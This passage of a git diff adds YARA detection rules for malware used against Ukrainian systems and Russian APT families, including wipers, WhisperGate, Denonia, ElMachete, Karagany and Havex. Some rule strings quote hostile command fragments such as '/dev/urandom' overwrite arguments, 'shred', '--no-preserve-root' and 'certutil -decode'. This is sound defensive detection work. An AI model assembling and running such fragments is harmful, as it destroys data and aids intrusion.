+        reference = "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/"
+        license = "Apache License 2.0"
+        date = "2022-04-03"
+        hash1 = "739fe13697bc55870ceb35003c4ee01a335f9c1f6549acb6472c5c3078417eed"
+        hash2 = "a31ae5b7968056d8d99b1b720a66a9a1aeee3637b97050d95d96ef3a265cbbca"
+    strings:
+        $a = "github.com/likexian/doh-go/provider/"
+        $b = "Mozilla/5.0 (compatible; Ezooms/1.0; help@moz.com)"
+        $c = "username:password pair for mining server"
+    condition:
+        filesize < 30000KB and all of them
+}
diff --git a/yara-mikesxrs/Cado Security/Linux_Wiper_AWFULSHRED.yar b/yara-mikesxrs/Cado Security/Linux_Wiper_AWFULSHRED.yar
new file mode 100644
index 0000000..5ab04fb
--- /dev/null
+++ b/yara-mikesxrs/Cado Security/Linux_Wiper_AWFULSHRED.yar	
@@ -0,0 +1,26 @@
+rule Linux_Wiper_AWFULSHRED {
+    meta:
+        description = "Detects AWFULSHRED wiper used against Ukrainian ICS"
+        reference = "https://github.com/cado-security/DFIR_Resources_Industroyer2"
+        author = "mmuir@cadosecurity.com"
+        date = "2022-04-12"
+        license = "Apache License 2.0"
+        hash = "bcdf0bd8142a4828c61e775686c9892d89893ed0f5093bdc70bde3e48d04ab99"
+    strings:
+        $isBash = "/bin/bash" ascii
+
+	$a1 = "declare -r" ascii
+	$a2 = "bash_history" ascii
+	$a3 = "bs=1k if=/dev/urandom of=" ascii
+	$a4 = "systemd" ascii
+	$a5 = "apache http ssh" ascii
+	$a6 = "shred" ascii
+
+	$var1 = "iwljzfkg" ascii
+	$var2 = "yrkdrrue" ascii
+	$var3 = "agzerlyf" ascii
+	$var4 = "rggygzny" ascii
+	$var5 = "zubzgnvp" ascii
+    condition:
+        $isBash and 3 of ($a*) and 4 of ($var*)
+}
diff --git a/yara-mikesxrs/Cado Security/Linux_Wiper_SOLOSHRED.yar b/yara-mikesxrs/Cado Security/Linux_Wiper_SOLOSHRED.yar
new file mode 100644
index 0000000..a2cf7d9
--- /dev/null
+++ b/yara-mikesxrs/Cado Security/Linux_Wiper_SOLOSHRED.yar	
@@ -0,0 +1,17 @@
+rule Linux_Wiper_SOLOSHRED {
+    meta:
+        description = "Detects SOLOSHRED wiper used against Ukrainian ICS"
+        reference = "https://github.com/cado-security/DFIR_Resources_Industroyer2"
+        author = "mmuir@cadosecurity.com"
+        date = "2022-04-12"
+        license = "Apache License 2.0"
+        hash = "87ca2b130a8ec91d0c9c0366b419a0fce3cb6a935523d900918e634564b88028"
+    strings:
+        $a = "printenv | grep -i \"ora\"" ascii
+        $b = "shred" ascii
+	$c = "--no-preserve-root" ascii
+        $d = "/dev/dsk" ascii
+	$e = "$(ls /)" ascii
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Cado Security/Linux_Worm_ORCSHRED.yar b/yara-mikesxrs/Cado Security/Linux_Worm_ORCSHRED.yar
new file mode 100644
index 0000000..ee99f9f
--- /dev/null
+++ b/yara-mikesxrs/Cado Security/Linux_Worm_ORCSHRED.yar	
@@ -0,0 +1,19 @@
+rule Linux_Worm_ORCSHRED {
+    meta:
+    description = "Detects ORCSHRED worm used in attacks on Ukrainian ICS"
+    reference = "https://github.com/cado-security/DFIR_Resources_Industroyer2"
+	author = "mmuir@cadosecurity.com"
+	date = "2022-04-12"
+	license = "Apache License 2.0"
+	hash = "43d07f28b7b699f43abd4f695596c15a90d772bfbd6029c8ee7bc5859c2b0861"
+    strings:
+    $a = "is_owner" ascii
+	$b = "Start most security mode!" ascii
+	$c = "check_solaris" ascii
+	$d = "wsol.sh" ascii
+	$e = "wobf.sh" ascii
+	$f = "disown" ascii
+	$g = "/var/log/tasks" ascii
+    condition:
+        4 of them
+}
diff --git a/yara-mikesxrs/Cado Security/Powershell_Downloader_POWERGAP.yar b/yara-mikesxrs/Cado Security/Powershell_Downloader_POWERGAP.yar
new file mode 100644
index 0000000..0db05f8
--- /dev/null
+++ b/yara-mikesxrs/Cado Security/Powershell_Downloader_POWERGAP.yar	
@@ -0,0 +1,19 @@
+rule Powershell_Downloader_POWERGAP {
+    meta:
+        description = "Detects POWERGAP downloader used against Ukrainian ICS"
+        reference = "https://github.com/cado-security/DFIR_Resources_Industroyer2"
+        author = "mmuir@cadosecurity.com"
+        date = "2022-04-12"
+        license = "Apache License 2.0"
+    strings:
+        $a = "Start-work" ascii
+        $b = "$GpoGuid" ascii
+        $c = "$SourceFile" ascii
+        $d = "$DestinationFile" ascii
+        $e = "$appName" ascii
+	$f = "LDAP://ROOTDSE" ascii
+	$g = "GPT.INI" ascii
+	$h = "Get-WmiObject" ascii
+    condition:
+        5 of them
+}
diff --git a/yara-mikesxrs/Cado Security/Whispergate_Stage_1.yar b/yara-mikesxrs/Cado Security/Whispergate_Stage_1.yar
new file mode 100644
index 0000000..d980b8a
--- /dev/null
+++ b/yara-mikesxrs/Cado Security/Whispergate_Stage_1.yar	
@@ -0,0 +1,16 @@
+rule Whispergate_Stage_1 {
+    meta:
+      description = "Detects first stage payload from WhisperGate"
+      author = "mmuir@cadosecurity.com"
+      date = "2022-01-17"
+      license = "Apache License 2.0"
+      hash = "a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92"
+      report = "https://github.com/cado-security/DFIR_Resources_Whispergate"
+    strings:
+      $a = { 31 41 56 4E 4D 36 38 67 6A 36 50 47 50 46 63 4A 75 66 74 4B 41 54 61 34 57 4C 6E 7A 67 38 66 70 66 76 }
+      $b = { 38 42 45 44 43 34 31 31 30 31 32 41 33 33 42 41 33 34 46 34 39 31 33 30 44 30 46 31 38 36 39 39 33 43 36 41 33 32 44 41 44 38 39 37 36 46 36 41 35 44 38 32 43 31 45 44 32 33 30 35 34 43 30 35 37 45 43 45 44 35 34 39 36 46 36 35 }
+      $c = { 24 31 30 6B 20 76 69 61 20 62 69 74 63 6F 69 6E 20 77 61 6C 6C 65 74 }
+      $d = { 74 6F 78 20 49 44 }
+    condition:
+      uint16(0) == 0x5A4D and all of them
+}
diff --git a/yara-mikesxrs/Cado Security/Whispergate_Stage_2.yar b/yara-mikesxrs/Cado Security/Whispergate_Stage_2.yar
new file mode 100644
index 0000000..e02b09b
--- /dev/null
+++ b/yara-mikesxrs/Cado Security/Whispergate_Stage_2.yar	
@@ -0,0 +1,20 @@
+rule Whispergate_Stage_2 {
+    meta:
+      description = "Detects second stage payload from WhisperGate"
+      author = "mmuir@cadosecurity.com"
+      date = "2022-01-17"
+      license = "Apache License 2.0"
+      hash = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
+      report = "https://github.com/cado-security/DFIR_Resources_Whispergate"
+    strings:
+      $a = { 6D 5F 49 6E 74 65 72 63 65 70 74 6F 72 }
+      $b = { 6D 5F 62 31 36 65 37 33 65 30 64 61 61 63 34 62 34 33 62 36 35 36 36 39 30 31 62 35 34 32 34 63 35 33 }
+      $c = { 6D 5F 34 33 37 37 33 32 63 65 65 35 66 35 34 64 37 64 38 34 61 64 64 37 62 64 33 30 39 37 64 33 63 61 }
+      $d = { 6D 5F 30 64 62 39 37 30 38 63 66 36 34 39 34 30 38 32 39 66 39 61 66 38 37 65 64 65 65 64 66 36 30 65 }
+      $e = { 6D 5F 65 31 34 33 33 31 36 38 32 30 62 31 34 64 30 33 38 38 61 37 32 37 34 34 33 38 65 63 30 37 38 64 }
+      $f = { 6D 5F 66 33 31 30 39 30 63 37 31 35 64 65 34 62 30 62 61 62 64 33 31 61 36 33 34 31 31 30 34 36 63 38 }
+      $g = { 6D 5F 36 31 31 64 31 61 62 63 33 32 66 63 34 66 64 38 61 33 34 65 30 34 34 66 39 37 33 34 34 31 64 61 }
+      $h = { 6D 5F 37 37 34 62 39 32 31 30 64 39 38 31 34 32 65 62 62 34 34 31 33 35 35 39 64 61 61 65 35 61 34 34 }
+    condition:
+      uint16(0) == 0x5A4D and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cado Security/Wiper_Ukr_Feb_2022.yar b/yara-mikesxrs/Cado Security/Wiper_Ukr_Feb_2022.yar
new file mode 100644
index 0000000..0b54842
--- /dev/null
+++ b/yara-mikesxrs/Cado Security/Wiper_Ukr_Feb_2022.yar	
@@ -0,0 +1,18 @@
+rule Wiper_Ukr_Feb_2022 {
+    meta:
+      description = "Detects Wiper seen in Ukraine 23rd Feb 2022"
+      author = "cadosecurity.com"
+      date = "2022-02-23"
+      license = "Apache License 2.0"
+      hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
+      ref1 = "https://twitter.com/threatintel/status/1496578746014437376"
+      ref2 = "https://twitter.com/ESETresearch/status/1496581903205511181"
+      report = "https://github.com/cado-security/wiper_feb_2022"
+    strings:
+        $ = "Hermetica Digital Ltd" wide ascii
+        $ = "DRV_XP_X64" wide ascii
+        $ = "Windows\\System32\\winevt\\Logs" wide ascii
+        $ = "EPMNTDRV\\%u" wide ascii
+    condition:
+      uint16(0) == 0x5A4D and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Checkpoint/ElMachete_doc.yar b/yara-mikesxrs/Checkpoint/ElMachete_doc.yar
new file mode 100644
index 0000000..0b2d5f4
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/ElMachete_doc.yar
@@ -0,0 +1,14 @@
+rule ElMachete_doc
+{
+    meta:
+        author = "CPR"
+        reference = "https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/"
+        hash1 = "8E1360CC27E95FC47924D9BA3EF84CB8FA9E142CFD16E1503C5277D0C16AE241"
+    strings:
+        $s1 = "You want to continue with the Document" ascii
+        $s2 = "certutil -decode" ascii
+        $s3 = /C:\\ProgramData\\.{1,20}\.txt/
+        $s4 = /C:\\ProgramData\\.{1,20}\.vbe/
+    condition:
+        uint16be(0) == 0xD0CF and 2 of ($s*)
+}
diff --git a/yara-mikesxrs/Checkpoint/ElMachete_msi.yar b/yara-mikesxrs/Checkpoint/ElMachete_msi.yar
new file mode 100644
index 0000000..e99d561
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/ElMachete_msi.yar
@@ -0,0 +1,17 @@
+rule ElMachete_msi
+{
+    meta:
+        author = "CPR"
+        reference = "https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/"
+        hash1 = "ED09DA9D48AFE918F9C7F72FE4466167E2F127A28A7641BA80D6165E82F48431"
+    strings:
+        $s1 = "MSI Wrapper (8.0.26.0)"
+        $s2 = "Windows Installer XML Toolset (3.11.0.1701)"
+        $s3 = "\\Lib\\site-packages\\PIL\\"
+        $s4 = "\\Lib\\site-packages\\pyHook\\"
+        $s5 = "\\Lib\\site-packages\\requests\\"
+        $s6 = "\\Lib\\site-packages\\win32com\\"
+        $s7 = "\\Lib\\site-packages\\Crypto\\"
+    condition:
+        4 of them
+}
diff --git a/yara-mikesxrs/Checkpoint/Gozi_JJ_struct.yar b/yara-mikesxrs/Checkpoint/Gozi_JJ_struct.yar
new file mode 100644
index 0000000..a9cf611
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/Gozi_JJ_struct.yar
@@ -0,0 +1,11 @@
+rule Gozi_JJ_struct: trojan {
+    meta:
+        module = "Gozi_JJ_struct"
+        reference = "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/"
+    strings:
+        $jj = "JJ" ascii
+        $pe_file = "This program cannot be run in DOS mode" ascii
+        $bss = ".bss" ascii
+    condition:
+         #jj >= 2 and (for all i in (1,2) : (@jj[i] < 0x400 and @jj[i] > 0x200)) and (@jj[2] - @jj[1] == 0x14) and ($pe_file in (0..1000)) and ($bss in (0..1000))
+}
diff --git a/yara-mikesxrs/Checkpoint/Russia_Detector_rules.yar b/yara-mikesxrs/Checkpoint/Russia_Detector_rules.yar
new file mode 100644
index 0000000..46bdbb5
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/Russia_Detector_rules.yar
@@ -0,0 +1,7777 @@
+*/
+https://research.checkpoint.com/2019/russianaptecosystem/
+*/
+
+import "hash"
+
+private global rule MZOnly {
+    strings:
+        $mz = "MZ"
+    condition:
+        $mz at 0
+}
+
+private global rule FileSize {
+    condition:
+        filesize < 1MB
+}
+rule Karagany {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 89 ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? 8D ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_1 = { 5? 89 ?? 83 ?? ?? 60 8B ?? ?? 29 ?? 66 ?? ?? ?? 89 ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8D ?? ?? 8B ?? ?? BA ?? ?? ?? ?? F7 ?? 01 ?? 89 ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? F7 ?? 03 ?? ?? 8B ?? ?? 29 ?? 89 ?? ?? 8B ?? ?? 8D ?? ?? 5? 6A ?? FF 7? ?? FF 7? ?? FF 5? ?? 85 ?? 74 }
+		$block_2 = { 5? 89 ?? 83 ?? ?? B8 ?? ?? ?? ?? 60 C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? 8D ?? ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_3 = { 5? 89 ?? 83 ?? ?? 60 8B ?? ?? 29 ?? 66 ?? ?? ?? 89 ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8D ?? ?? 8B ?? ?? 5? 6A ?? 5? FF 7? ?? FF 5? ?? 85 ?? 74 }
+		$block_4 = { 5? 89 ?? 83 ?? ?? 60 8B ?? ?? 8B ?? ?? 01 ?? 83 ?? ?? 83 ?? ?? 8D ?? ?? 83 ?? ?? 8B ?? 01 ?? 89 ?? ?? 8D ?? ?? 85 ?? 74 }
+		$block_5 = { 8D ?? ?? 83 ?? ?? 8B ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 5? ?? 85 ?? 0F 84 }
+		$block_6 = { 5? 89 ?? 83 ?? ?? 60 8B ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 74 }
+		$block_7 = { 5? 89 ?? 60 8B ?? ?? 8B ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? 29 }
+		$block_8 = { 5? 89 ?? 83 ?? ?? 60 8B ?? ?? 66 ?? ?? 66 ?? ?? ?? 75 }
+		$block_9 = { 8B ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? 8D ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915" or
+		hash.sha256(0, filesize) == "568e05c51259597cf79b633a041ad090588846b95c85f19a847d731c90a11122" or
+		hash.sha256(0, filesize) == "28143c7638f22342bff8edcd0bedd708e265948a5fcca750c302e2dca95ed9f0" or
+		10 of them
+}
+
+rule Havex {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 03 ?? 0F AF ?? 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_1 = { 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8A ?? 5? F6 ?? 5? 1A ?? 8D ?? ?? FE ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_2 = { 8D ?? ?? C6 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? 4? 83 ?? ?? 3B ?? 0F 82 }
+		$block_3 = { 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 5? 84 ?? 75 }
+		$block_4 = { 6A ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_5 = { 07 E8 ?? ?? ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 3B ?? 74 }
+		$block_6 = { 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 8B ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? EB }
+		$block_7 = { 8B ?? ?? 03 ?? 0F AF ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_8 = { 8B ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? C1 ?? ?? 0B ?? FF 0? ?? 4? 79 }
+		$block_9 = { 66 ?? ?? 66 ?? ?? ?? 66 ?? 33 ?? 4? 5? 0F B7 ?? 8B ?? 66 ?? ?? 0F B7 ?? 4? 83 ?? ?? 7D }
+		$block_10 = { 5? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_11 = { 8B ?? ?? 8D ?? ?? 8B ?? 2B ?? D1 ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 8B ?? 5? C9 C3 }
+		$block_12 = { 80 B? ?? ?? ?? ?? ?? 8D ?? ?? 0F 94 ?? 0F B6 ?? 5? 5? E8 ?? ?? ?? ?? 33 ?? 8B ?? 4? EB }
+		$block_13 = { 8B ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 2B ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 83 }
+		$block_14 = { 5? 8B ?? 0F B7 ?? ?? 83 ?? ?? 33 ?? 4? 5? 8B ?? 66 ?? ?? 0F B7 ?? 4? 83 ?? ?? 7D }
+		$block_15 = { E8 ?? ?? ?? ?? 2B ?? ?? 8B ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 83 }
+		$block_16 = { 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? 8B }
+		$block_17 = { 8D ?? ?? 83 ?? ?? ?? 5? 33 ?? 8B ?? AB AB AB AB 33 ?? 8D ?? ?? AB AB AB AB 5? }
+		$block_18 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F B7 ?? 72 }
+		$block_19 = { 8B ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 38 ?? ?? 0F 84 }
+		$block_21 = { 8B ?? ?? 8D ?? ?? A5 A5 A5 A5 FF 1? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? C3 }
+		$block_22 = { 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_23 = { 33 ?? 66 ?? ?? 0F B7 ?? ?? ?? 4? 5? 8B ?? 66 ?? ?? 0F B7 ?? 4? 83 ?? ?? 7D }
+		$block_24 = { 6A ?? E8 ?? ?? ?? ?? CC 8B ?? ?? ?? 0F AF ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? C3 }
+		$block_25 = { 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_26 = { E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_27 = { 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 5? 84 ?? 74 }
+		$block_28 = { 80 B? ?? ?? ?? ?? ?? 8D ?? ?? 0F 94 ?? 0F B6 ?? 5? 5? E8 ?? ?? ?? ?? EB }
+		$block_29 = { 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_30 = { E8 ?? ?? ?? ?? 8B ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 83 ?? ?? 0F 83 }
+		$block_31 = { 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 4? 83 ?? ?? 0F B7 ?? 0F 8C }
+		$block_32 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_33 = { 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_34 = { FF 8? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? C1 ?? ?? 39 ?? ?? 0F 85 }
+		$block_35 = { 5? FF B? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_36 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? A5 A5 A5 6A ?? A5 0F B6 ?? ?? 5? 2B ?? 5? }
+		$block_37 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 8A ?? ?? 5? 5? 5? 89 ?? ?? ?? 84 ?? 0F 85 }
+		$block_38 = { 8A ?? 88 ?? 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_39 = { 6A ?? 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 5? 84 ?? 74 }
+		$block_40 = { 2B ?? ?? 8B ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 83 }
+		$block_41 = { 0F BE ?? ?? ?? FF 7? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_42 = { 8B ?? ?? BE ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_43 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 3C ?? 0F 84 }
+		$block_44 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_45 = { 8B ?? ?? 4? 4? 83 ?? ?? 89 ?? ?? 8A ?? ?? 8A ?? ?? 3A ?? 0F 85 }
+		$block_46 = { 8A ?? ?? ?? ?? ?? 8D ?? ?? ?? 30 ?? 0F B6 ?? 4? 83 ?? ?? 72 }
+		$block_47 = { 0F B6 ?? ?? 33 ?? 8A ?? ?? ?? ?? ?? 30 ?? 0F B6 ?? 4? 4? 75 }
+		$block_48 = { 33 ?? 83 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_49 = { 8B ?? ?? 0F B6 ?? ?? 8D ?? ?? ?? ?? ?? ?? FF 0? 4? 3B ?? 7C }
+		$block_50 = { 8B ?? ?? C1 ?? ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_51 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_52 = { 6A ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 8A ?? ?? 84 ?? 0F 84 }
+		$block_53 = { 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 0F B7 ?? 83 ?? ?? 3B ?? 7F }
+		$block_54 = { 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_55 = { 8B ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 83 ?? ?? 0F 83 }
+		$block_56 = { BE ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F 94 ?? 5? 5? 3C ?? 74 }
+		$block_58 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_59 = { FF 7? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_60 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? 39 ?? ?? 0F 83 }
+		$block_61 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 4? 83 ?? ?? 7C }
+		$block_62 = { 8B ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_63 = { 8A ?? 88 ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_64 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 8B ?? 3B ?? 0F 84 }
+		$block_65 = { 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_66 = { 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "e38aa99eff1f9fedd99cf541c3255e99f3276839a883cadb6e916649522729e3" or
+		hash.sha256(0, filesize) == "e42badd8fb20f1bc72b1cec65c42a96ee60a4b52d19e8f5a7248afee03646ace" or
+		hash.sha256(0, filesize) == "45abd87da6a584ab2a66a06b40d3c84650f2a33f5f55c5c2630263bc17ec4139" or
+		hash.sha256(0, filesize) == "7e0dafedd01d09e66524f2345d652b29d3f634361c0a69e8d466dcbdfd0e3001" or
+		hash.sha256(0, filesize) == "2c109406998723885cf04c3ced7af8010665236459d6fe610e678065994154d4" or
+		hash.sha256(0, filesize) == "f65d767afd198039d044b17b96ebad54390549c6e18ead7e19e342d60b70a2c3" or
+		hash.sha256(0, filesize) == "a2fe7a346b39a062c60c50167be7dd4f6a8175df054faa67bff33ec42b1072d9" or
+		hash.sha256(0, filesize) == "269ea4b883de65f235a04441144519cf6cac80ef666eccf073eedd5f9319be0f" or
+		hash.sha256(0, filesize) == "49c1c5e8a71f488a7b560c6751752363389f6272d8c310fee78307dc9dcd3ee2" or
+		hash.sha256(0, filesize) == "59af70f71cdf933f117ab97d6f1c1bab82fd15dbe654ba1b27212d7bc20cec8c" or
+		hash.sha256(0, filesize) == "0e34262813677090938983039ba9ff3ade0748a3aba25e28d19e2831c036b095" or
+		hash.sha256(0, filesize) == "2f24c7ccbd7a9e830ed3f9b3b7be7856e0cc8c1580082433cbe9bf33c86193c6" or
+		hash.sha256(0, filesize) == "b139829440aabe33071aa34604f739d70f9a0a3b06051f3190aabf839df2d408" or
+		hash.sha256(0, filesize) == "0c20ffcdf2492ccad2e53777a0885c579811f91c05d076ff160684082681fe68" or
+		hash.sha256(0, filesize) == "2221c2323fb6e30b9c10ee68d60b7d7be823911540bb115f75b2747d015e35f9" or
+		hash.sha256(0, filesize) == "487eaf5cc52528b5f3bb27ba53afffb6d534068b364a41fc887b8c1e1485795a" or
+		hash.sha256(0, filesize) == "4ff5f102f0f1284a189485fc4c387c977dd92f0bc6a30c4d837e864aed257129" or
+		hash.sha256(0, filesize) == "022da314d1439f779364aba958d51b119ac5fda07aac8f5ced77146dbf40c8ac" or
+		hash.sha256(0, filesize) == "6606dd9a5d5182280c12d009a03b8ed6179872fcb08be9aa16f098250cc5b7a7" or
+		hash.sha256(0, filesize) == "646c94a0194ca70fbe68c444a0c9b444e195280f9a0d19f12393421311653552" or
+		hash.sha256(0, filesize) == "ce99e5f64f2d1e58454f23b4c1de33d71ee0b9fcd52c9eb69569f1c420332235" or
+		hash.sha256(0, filesize) == "e029db63346c513be42242e268559174f6b00d818e00d93c14bd443314f65fe5" or
+		hash.sha256(0, filesize) == "69b555a37e919c3e6c24cfe183952cdb695255f9458b25d00d15e204d96c737b" or
+		hash.sha256(0, filesize) == "fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4" or
+		hash.sha256(0, filesize) == "6122db2cdac0373cc8513c57786088a5548721d01e7674e78082774044e92980" or
